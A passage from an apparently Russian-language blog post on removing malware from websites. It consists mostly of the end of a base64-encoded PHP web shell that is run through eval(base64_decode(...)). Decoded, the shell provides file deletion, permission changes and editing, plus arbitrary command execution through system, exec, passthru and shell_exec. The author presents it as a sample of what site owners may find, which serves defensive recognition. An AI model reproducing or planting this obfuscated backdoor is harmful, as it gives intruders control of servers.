HlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0aC4nLycuJGRpci4nIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IisiIHN0eWxlPSJmb250LWZhbWlseTprZWxseSBzbGFiO21hcmdpbi10b3A6NHB4O3dpZHRoOjM1cHg7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjojZmZmZmZmO2JvcmRlcjoycHggc29saWQgI2YxMjg0ZTtib3JkZXItcmFkaXVzOjJweCIvPgo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPC90cj4nOwp9CmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsKZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CmlmKCFpc19maWxlKCRwYXRoLicvJy4kZmlsZSkpIGNvbnRpbnVlOwokc2l6ZSA9IGZpbGVzaXplKCRwYXRoLicvJy4kZmlsZSkvMTAyNDsKJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsKaWYoJHNpemUgPj0gMTAyNCl7CiRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKfWVsc2V7CiRzaXplID0gJHNpemUuJyBLQic7Cn0KCmVjaG8gJzx0cj4KPHRkPjxhIGhyZWY9Ij9maWxlc3JjPScuJHBhdGguJy8nLiRmaWxlLicmcGF0aD0nLiRwYXRoLiciPicuJGZpbGUuJzwvYT48L3RkPgo8dGQ+PGNlbnRlcj4nLiRzaXplLic8L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj4nOwppZihpc193cml0YWJsZSgkcGF0aC4nLycuJGZpbGUpKSBlY2hvICc8Zm9udCBjb2xvcj0iIzAyQkM4QyI+JzsKZWxzZWlmKCFpc19yZWFkYWJsZSgkcGF0aC4nLycuJGZpbGUpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwplY2hvIHBlcm1zKCRwYXRoLicvJy4kZmlsZSk7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZmlsZSkgfHwgIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZmlsZSkpIGVjaG8gJzwvZm9udD4nOwplY2hvICc8L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP29wdGlvbiZwYXRoPScuJHBhdGguJyI+CjxzZWxlY3QgbmFtZT0ib3B0IiBjbGFzcz0ic2VuYSI+CjxvcHRpb24gdmFsdWU9IiI+U2VsZWN0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImRlbGV0ZSI+RGVsZXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImNobW9kIj5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJyZW5hbWUiPlJlbmFtZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJlZGl0Ij5FZGl0PC9vcHRpb24+Cjwvc2VsZWN0Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0iZmlsZSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5hbWUiIHZhbHVlPSInLiRmaWxlLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0aC4nLycuJGZpbGUuJyI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIrIiBzdHlsZT0iZm9udC1mYW1pbHk6a2VsbHkgc2xhYjttYXJnaW4tdG9wOjRweDt3aWR0aDozNXB4O2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Y29sb3I6I2ZmZmZmZjtib3JkZXI6MnB4IHNvbGlkICNmMTI4NGU7Ym9yZGVyLXJhZGl1czoycHgiLz4KPC9mb3JtPjwvY2VudGVyPjwvdGQ+CjwvdHI+JzsKfQplY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwp9CmVjaG8gJzxociBjb2xvcj0iI2YxMjg0ZSI+PGNlbnRlcj48ZGl2IGNsYXNzPSJmb290LXN0eWxlIj48Zm9udCBjb2xvcj0iZjEyODRlIj4tPC9mb250PiZuYnNwO0NvcHlyaWdodCA8aSBhcmlhLWhpZGRlbj0idHJ1ZSIgY2xhc3M9ImZhIGZhLWNvcHlyaWdodCI+PC9pPiAyMDE5IHwgRGVzaWduZWQgd2l0aCA8aSBhcmlhLWhpZGRlbj0idHJ1ZSIgY2xhc3M9ImZhIGZhLWhlYXJ0IiBzdHlsZT0iY29sb3I6IHJlZDsiPjwvaT4gQnkgPGEgaHJlZj0iaHR0cDovL2ZhY2Vib29rLmNvbS9jb3J0ZXguanAiPkMwUlQzWDwvYT4mbmJzcDs8Zm9udCBjb2xvcj0iZjEyODRlIj4tPC9mb250PjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4nOwpmdW5jdGlvbiBleGUoJGNtZCkgeyAJCmlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgCQkKCQlAb2Jfc3RhcnQoKTsgCQkKCQlAc3lzdGVtKCRjbWQpOyAJCQoJCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAJCQoJCUBvYl9lbmRfY2xlYW4oKTsgCQkKCQlyZXR1cm4gJGJ1ZmY7IAkKCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7IAkJCgkJQGV4ZWMoJGNtZCwkcmVzdWx0cyk7IAkJCgkJJGJ1ZmYgPSAiIjsgCQkKCQlmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsgCQkJCgkJCSRidWZmIC49ICRyZXN1bHQ7IAkJCgkJfSByZXR1cm4gJGJ1ZmY7IAkKCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgeyAJCQoJCUBvYl9zdGFydCgpOyAJCQoJCUBwYXNzdGhydSgkY21kKTsgCQkKCQkkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsgCQkKCQlAb2JfZW5kX2NsZWFuKCk7IAkJCgkJcmV0dXJuICRidWZmOyAJCgl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAJCQoJCSRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7IAkJCgkJcmV0dXJuICRidWZmOyAJCgl9IAp9CmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsKLy8gU29ja2V0CiRpbmZvID0gJ3MnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7Ci8vIFN5bWJvbGljIExpbmsKJGluZm8gPSAnbCc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKLy8gUmVndWxhcgokaW5mbyA9ICctJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewovLyBCbG9jayBzcGVjaWFsCiRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7Ci8vIERpcmVjdG9yeQokaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewovLyBDaGFyYWN0ZXIgc3BlY2lhbAokaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewovLyBGSUZPIHBpcGUKJGluZm8gPSAncCc7Cn0gZWxzZSB7Ci8vIFVua25vd24KJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CgovLyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPwooKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCnJldHVybiAkaW5mbzsKfQo=';
eval(base64_decode($code));
?>

Что-то подобное вам предстоит найти на вашем сайте. Надеюсь вам краткий экскурс по лечению сайта от вирусов понравился. В следующей статье постараюсь найти для вас пример.

Опубликовано в рубрикеХАКИНГ

Оставьте первый коментарий

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *